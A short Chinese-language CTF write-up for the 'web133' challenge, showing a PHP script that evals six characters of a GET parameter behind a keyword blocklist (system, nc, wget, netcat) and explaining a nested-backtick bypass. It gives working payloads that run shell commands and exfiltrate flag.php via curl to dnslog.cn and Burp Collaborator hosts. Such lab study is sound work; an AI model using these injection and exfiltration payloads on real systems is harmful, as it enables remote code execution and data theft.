web133笔记(get传参:F=`$F `;sleep 6六个字母限制传参)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 16:43:44

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

这里限制了一些命令执行语句并且还限制了6个数字,我们可以采取套娃的方式来获得更多控制语句的空间

get传参:F=`$F `;sleep 6

经过substr($F,0,6)截取后 得到 `$F `; 一共6个字符,之前说过``反引号等于shell_exec执行命令
eval("`$F `;sleep 6"); 
而$F就是我们输入的`$F `;sleep 6 最后执行的代码应该是``$F`;+sleep 3`
这样就成功执行了 sleep 6,可以看到发包后延长了6秒左右
前面的命令是执行我们的$F,后面的命令我们就可以自定义$F语句
但是这⾥可以执⾏命令但没有回显,可以找⽅法外带,这⾥使⽤http://www.dnslog.cn/
?F=`$F`; curl `cat flag.php|grep "flag"`.di5nz0.dnslog.cn
 
这里首先打开burpsuite里的Collaborator Client
?F=`$F `;curl -X POST -F aaa=@flag.php gn7nld7jteju8f8ww19yhgwfc6ix6m.burpcollaborator.net

 

 

 

posted @ 2025-03-29 10:27  justdoIT*  阅读(7)  评论(0)    收藏  举报